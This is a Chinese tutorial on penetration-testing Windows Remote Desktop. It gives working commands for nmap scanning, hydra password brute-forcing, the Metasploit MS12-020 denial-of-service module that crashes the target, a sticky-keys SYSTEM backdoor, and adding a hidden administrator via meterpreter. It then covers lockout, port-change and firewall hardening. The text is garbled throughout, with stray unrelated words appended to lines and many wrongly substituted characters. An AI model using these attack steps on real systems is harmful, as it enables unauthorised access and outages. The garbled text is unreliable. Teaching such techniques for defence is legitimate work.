在本文中,咱們將討論四種狀況下的遠程桌面滲透測試技巧方法。經過這種攻擊方式,咱們試圖獲取攻擊者如何在不一樣狀況下攻擊目標系統,以及管理員在激活RDP服務時來抵禦攻擊時應採起哪些主要的防護手段。遠程桌面協議(RDP)也稱爲「終端服務客戶端」,是Microsoft開發的專有協議,爲用戶提供經過網絡鏈接遠程登陸到另外一臺計算機的圖形界面。RDP服務器內置於Windows操做系統中; 默認狀況下,服務器監聽TCP 端口3389。 shell
讓咱們開始吧!windows
假設admin已容許其系統中的遠程桌面服務進行本地網絡鏈接。api
1.1使用nmap掃描RDP安全
攻擊者能夠藉助nmap來驗證端口3389是否被打開。對於RDP滲透,咱們還使用nmap來掃描目標系統(192.168.0.102)以獲取開放式RDP的端口。服務器
nmap -p 3389 192.168.0.102網絡
若是容許遠程桌面服務,則nmap將顯示OPEN做爲端口3389的狀態,以下圖所示:session
1.2.對RDP進行暴力攻擊框架
爲了與RDP鏈接,咱們老是須要登陸憑證做爲通過身份驗證的鏈接。有效用戶憑證能夠輸入它的用戶名和密碼,但無效用戶(攻擊者)沒法猜出正確的登陸憑據,所以須要經過暴力攻擊來獲取登陸憑證。編輯器
咱們正在使用hydra來展現對RDP進行暴力攻擊。Hydra:它是一個並行登陸破解程序,支持多種協議攻擊。它很是快速靈活,新模塊易於添加。在kali Linux中打開終端並輸入如下命令:post
Hydra -v -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp://192.168.0.102
從下面的截圖中能夠看到正確地獲取到用戶名:ignite和密碼:123456,咱們經過端口3389上的暴力攻擊檢索到。使用此憑據攻擊者能夠登陸遠程桌面服務。
不少時候,爲了肯定主機是否容易受到RDP攻擊,攻擊者使用MS12-020檢查來測試其漏洞。在kali Linux下的metasploit框架中打開命令終端,如今鍵入如下命令來掃描漏洞。
use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102
msf auxiliary(ms12_020_check) >set rport 3389
msf auxiliary(ms12_020_check) > exploit
從下列截圖中能夠看出目標是易受攻擊的,如今你可使用谷歌找到它的攻擊漏洞的poc.
一旦攻擊知道目標端口3389易受到MS12-020-攻擊的漏洞,那麼將嘗試使用Ms12-020_maxchannelids進行攻擊。這將對目標系統發起DOS攻擊。
如今鍵入如下命令進行DOS攻擊,這將致使目標系統藍屏。
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102
msf auxiliary(ms12_020_maxchannelids) > set rhost 3389
msf auxiliary(ms12_020_maxchannelids) > exploit
從以下圖所示中,能夠看到目標是因爲某些問題致使系統正在關閉。
DoS攻擊執行者一般攻擊以託管在諸如銀行或信用卡支付網關等高端Web服務器上的站點或服務做爲目標,經過暫時或無限期地中斷鏈接Internet的主機服務,使其目標用戶沒法使用機器或網絡資源。
若是攻擊者攻擊了未啓用RDP服務的受害者系統,則攻擊者本身可使用由Rapid 7在metasploit內部構建的後滲透模塊來開啓RDP服務。
如今要執行此操做,咱們必須須要一個目標系統的反彈shell。從以下圖所示中,您能夠看到已經獲取了目標系統的反彈shell.
這裏咱們得到了meterpreter的會話1,並經過bypass的會話2得到管理權限。
如今鍵入如下命令以生成後滲透反彈shell用以啓用RDP服務
use post/windows/manage/enable_rdp
msf post(enable_rdp) > sessions
msf post(enable_rdp) >exploit
此模塊能夠將「sticky key」攻擊應用於具備合適權限的會話中。該攻擊提供了一種在RDP登陸屏幕或UAC確認對話框中使用UI級別交互獲取SYSTEM shell的方法。
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set sessions 2
msf post(sticky_keys) >exploit
如今使用如下命令鏈接遠程桌面:
rdesktop 192.168.0.102
它會要求提交登陸憑據,但咱們不知道,所以咱們須要發起了上面的 stick key攻擊,以便咱們能夠經過按照以下圖所示的連續按5次shift鍵獲取RDP 的命令終端。
當您已獲取到受害主機系統的meterpreter會話後,啓用RDP服務的命令以及選擇的設置憑證。
Meterpreter> run getgui-e-u raaz-p 1234
從以下圖所示中,你能夠看到已經添加了用戶名raaz與密碼1234 可進入「遠程桌面用戶」和「管理員」的權限。如今您可使用已建立的用戶進行命令登陸,命令以下:
rdesktop 192.168.0.102
輸入用戶名raaz和密碼1234用於登陸
如今已成功遠程登陸系統。
管理員可使用賬戶鎖定策略保護其網絡免受暴力破解攻擊。在安全設置 > 賬戶策略 > 賬戶鎖定策略下配置如下策略:
賬戶鎖定持續時間:用於定義鎖定賬戶保持時間段的策略,直到自動解鎖或由管理員重置。當用戶超過賬戶鎖定閾值設置的登陸嘗試時,它將鎖定賬戶指定的時間。
賬戶鎖定閾值:定義失敗登陸嘗試次數的策略,將在賬戶鎖定持續時間指定的某段時間內鎖定賬戶。它將容許最大數量指定嘗試登陸您的賬戶。
被鎖帳戶鎖定計數器:用於定義登陸嘗試失敗後必須通過的時間段的策略。重置時間必須小於或等於賬戶鎖定時間。
以下實例設置:
賬戶鎖定時間: 30分鐘
賬戶鎖定閾值: 2次無效登陸嘗試
被鎖賬戶鎖定計算器: 30分鐘後
若是嘗試次數大於 賬戶鎖定閾值,則攻擊者可能會被鎖定帳戶。
如今再次經過對端口3389進行暴力破解攻擊來測試賬戶鎖定策略。
hydra -v -f -l ignite -P /root/Desktop/dict.txt rdp://192.168.0.102
當攻擊者檢索用戶名和密碼時,確定會使用它們進行登陸,但正如您所看到的那樣,嘗試破解密碼須要超過2次,所以根據設置的策略,賬戶應該被鎖定30分鐘.
讓咱們經過登陸遠程桌面來驗證它。
打開命令終端並輸入「rdesktop 192.168.0.102」,當得到目標屏幕時,輸入已爆破檢索的用戶名和密碼。從以下截圖中,您能夠看到咱們已經輸入上面發現的用戶名和密碼 ignite: 123456
當攻擊者提交您的憑據時,它會顯示當前賬戶已被鎖定且沒法登陸的消息,以下圖所示。它鎖定用戶的賬戶 ignit 30分鐘,所以管理員知道有人一直試圖非法訪問遠程桌面。經過這種方式,咱們能夠防護暴力破解攻擊,防止未經受權的訪問。
您能夠在另外一個端口上轉發端口3389以提升系統的安全性,但要在窗口操做系統中經過註冊表編輯器瀏覽如下位置。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
從以下圖所示中,您能夠在右側面板中看到端口號已被選中並單擊它。
將端口從3389更改成特定端口號
您將得到一個編輯DWORD的窗口,能夠在其中編輯32位值。默認狀況下,它將顯示d3d,它是3389的十六進制值。將3389值替換爲您選擇的另外一個值(如3314),並選擇十六進制做爲基數,將3314轉換爲cf2。
從以下圖所示,您能夠看到端口3314如今被打開。
打開具備高級設置的防火牆的面板,而後進入其內對配置入站的遠程桌面(TCP-In)配置,以經過在防火牆中設置進行一些更改來添加安全過濾器。
容許來自特定IP的流量
以後,它將打開一個窗口來更改其屬性,單擊範圍選項。在這裏,您將得到兩個鏈接類型的面板,本地和遠程 IP地址。
在遠程IP地址中,爲特定IP地址選擇第二個選項,並輸入要容許鏈接遠程桌面服務的IP,以下圖所示:
它將阻止來自其餘IP的全部流量,並提升網絡的安全性,以抵禦任何類型的攻擊。